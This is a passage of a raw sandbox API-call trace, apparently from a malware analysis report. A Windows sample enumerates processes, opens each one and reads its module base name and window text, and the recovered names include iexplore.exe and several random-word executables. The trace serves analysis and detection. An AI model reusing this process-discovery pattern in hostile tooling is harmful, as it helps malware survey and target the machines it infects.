[369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0252.814] EnumProcesses (in: lpidProcess=0x2173e9c, cb=0x8ca0, lpcbNeeded=0x3ee4c0 | out: lpidProcess=0x2173e9c, lpcbNeeded=0x3ee4c0) returned 1 [0252.829] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0252.885] GetWindowTextW (in: hWnd=0x0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.885] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0252.885] GetWindowTextW (in: hWnd=0x0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.885] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x6d0 [0252.887] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.916] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.916] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.928] CoTaskMemFree (pv=0x841860) [0252.929] CloseHandle (hObject=0x6d0) returned 1 [0252.929] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.929] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0x6d0 [0252.929] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.929] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.929] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.929] CoTaskMemFree (pv=0x841860) [0252.929] CloseHandle (hObject=0x6d0) returned 1 [0252.929] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.929] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x170) returned 0x6d0 [0252.929] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.930] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.930] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.930] CoTaskMemFree (pv=0x841860) [0252.930] CloseHandle (hObject=0x6d0) returned 1 [0252.930] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x6d0 [0252.930] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.930] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.930] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.931] CoTaskMemFree (pv=0x841860) [0252.931] CloseHandle (hObject=0x6d0) returned 1 [0252.931] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.931] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1a4) returned 0x6d0 [0252.931] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.931] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.931] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.932] CoTaskMemFree (pv=0x841860) [0252.932] CloseHandle (hObject=0x6d0) returned 1 [0252.932] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.932] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x6d0 [0252.932] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.932] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.932] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.932] CoTaskMemFree (pv=0x841860) [0252.932] CloseHandle (hObject=0x6d0) returned 1 [0252.932] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.932] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x6d0 [0252.932] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.933] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.933] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.933] CoTaskMemFree (pv=0x841860) [0252.933] CloseHandle (hObject=0x6d0) returned 1 [0252.933] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.933] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e0) returned 0x6d0 [0252.933] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.933] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.933] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.933] CoTaskMemFree (pv=0x841860) [0252.933] CloseHandle (hObject=0x6d0) returned 1 [0252.934] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.934] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0x6d0 [0252.934] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.934] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.934] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.934] CoTaskMemFree (pv=0x841860) [0252.934] CloseHandle (hObject=0x6d0) returned 1 [0252.934] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.934] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x288) returned 0x6d0 [0252.934] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.935] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.935] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.935] CoTaskMemFree (pv=0x841860) [0252.935] CloseHandle (hObject=0x6d0) returned 1 [0252.935] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.935] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2b8) returned 0x6d0 [0252.935] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.935] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.935] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.936] CoTaskMemFree (pv=0x841860) [0252.936] CloseHandle (hObject=0x6d0) returned 1 [0252.936] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.936] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x308) returned 0x6d0 [0252.936] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.936] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.936] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.936] CoTaskMemFree (pv=0x841860) [0252.936] CloseHandle (hObject=0x6d0) returned 1 [0252.936] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.936] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x6d0 [0252.937] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.937] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.937] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.937] CoTaskMemFree (pv=0x841860) [0252.937] CloseHandle (hObject=0x6d0) returned 1 [0252.937] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ec) returned 0x6d0 [0252.937] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.937] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.937] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.938] CoTaskMemFree (pv=0x841860) [0252.938] CloseHandle (hObject=0x6d0) returned 1 [0252.938] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.938] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x330) returned 0x6d0 [0252.938] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.938] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.938] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.938] CoTaskMemFree (pv=0x841860) [0252.938] CloseHandle (hObject=0x6d0) returned 1 [0252.938] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.939] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x6d0 [0252.939] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.939] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.939] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="?") returned 0x0 [0252.939] CoTaskMemFree (pv=0x841860) [0252.939] CloseHandle (hObject=0x6d0) returned 1 [0252.939] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.939] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x6d0 [0252.939] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.940] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.940] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0252.940] CoTaskMemFree (pv=0x841860) [0252.940] CloseHandle (hObject=0x6d0) returned 1 [0252.940] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.940] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48c) returned 0x6d0 [0252.940] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.940] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.941] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0252.941] CoTaskMemFree (pv=0x841860) [0252.941] CloseHandle (hObject=0x6d0) returned 1 [0252.941] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.941] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4b0) returned 0x6d0 [0252.941] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.941] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.941] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0252.942] CoTaskMemFree (pv=0x841860) [0252.942] CloseHandle (hObject=0x6d0) returned 1 [0252.942] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.942] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4c8) returned 0x6d0 [0252.942] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.942] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.942] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0252.942] CoTaskMemFree (pv=0x841860) [0252.942] CloseHandle (hObject=0x6d0) returned 1 [0252.942] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.943] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c4) returned 0x6d0 [0252.943] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.943] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.943] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0252.943] CoTaskMemFree (pv=0x841860) [0252.943] CloseHandle (hObject=0x6d0) returned 1 [0252.943] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.943] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b4) returned 0x6d0 [0252.943] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.944] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.944] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0252.944] CoTaskMemFree (pv=0x841860) [0252.944] CloseHandle (hObject=0x6d0) returned 1 [0252.944] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x6d0 [0252.944] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.945] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.945] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="iexplore.exe") returned 0xc [0252.946] CoTaskMemFree (pv=0x841860) [0252.946] CloseHandle (hObject=0x6d0) returned 1 [0252.946] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.946] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x22c) returned 0x6d0 [0252.946] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.946] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.946] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0252.946] CoTaskMemFree (pv=0x841860) [0252.946] CloseHandle (hObject=0x6d0) returned 1 [0252.946] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.947] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ac) returned 0x6d0 [0252.947] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.947] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.947] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="iexplore.exe") returned 0xc [0252.947] CoTaskMemFree (pv=0x841860) [0252.948] CloseHandle (hObject=0x6d0) returned 1 [0252.948] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.948] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0x6d0 [0252.948] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.948] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.948] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0252.948] CoTaskMemFree (pv=0x841860) [0252.948] CloseHandle (hObject=0x6d0) returned 1 [0252.948] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.948] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ac) returned 0x6d0 [0252.948] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.949] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.949] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="linegood.exe") returned 0xc [0252.949] CoTaskMemFree (pv=0x841860) [0252.949] CloseHandle (hObject=0x6d0) returned 1 [0252.949] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.950] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b4) returned 0x6d0 [0252.950] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.950] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.950] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="no_nothing.exe") returned 0xe [0252.951] CoTaskMemFree (pv=0x841860) [0252.951] CloseHandle (hObject=0x6d0) returned 1 [0252.951] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.951] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9bc) returned 0x6d0 [0252.951] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.951] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.951] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="form remember evening.exe") returned 0x19 [0252.952] CoTaskMemFree (pv=0x841860) [0252.952] CloseHandle (hObject=0x6d0) returned 1 [0252.952] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.952] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9c8) returned 0x6d0 [0252.952] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.953] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.953] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="study-reality-mission.exe") returned 0x19 [0252.953] CoTaskMemFree (pv=0x841860) [0252.953] CloseHandle (hObject=0x6d0) returned 1 [0252.953] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.953] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0x6d0 [0252.953] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.954] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.954] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="field.exe") returned 0x9 [0252.954] CoTaskMemFree (pv=0x841860) [0252.954] CloseHandle (hObject=0x6d0) returned 1 [0252.954] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.954] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9e0) returned 0x6d0 [0252.954] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.955] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.955] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="apply-wear-benefit.exe") returned 0x16 [0252.955] CoTaskMemFree (pv=0x841860) [0252.955] CloseHandle (hObject=0x6d0) returned 1 [0252.955] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.956] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ec) returned 0x6d0 [0252.956] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.956] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.956] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="law-stay.exe") returned 0xc [0252.957] CoTaskMemFree (pv=0x841860) [0252.957] CloseHandle (hObject=0x6d0) returned 1 [0252.957] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.957] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x6d0 [0252.957] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.957] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.957] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="wife_heat.exe") returned 0xd [0252.958] CoTaskMemFree (pv=0x841860) [0252.958] CloseHandle (hObject=0x6d0) returned 1 [0252.958] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.958] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa04) returned 0x6d0 [0252.958] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.963] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.963] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="interview nothing work.exe") returned 0x1a [0252.964] CoTaskMemFree (pv=0x841860) [0252.964] CloseHandle (hObject=0x6d0) returned 1 [0252.964] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.964] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa10) returned 0x6d0 [0252.964] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.964] CoTaskMemAlloc 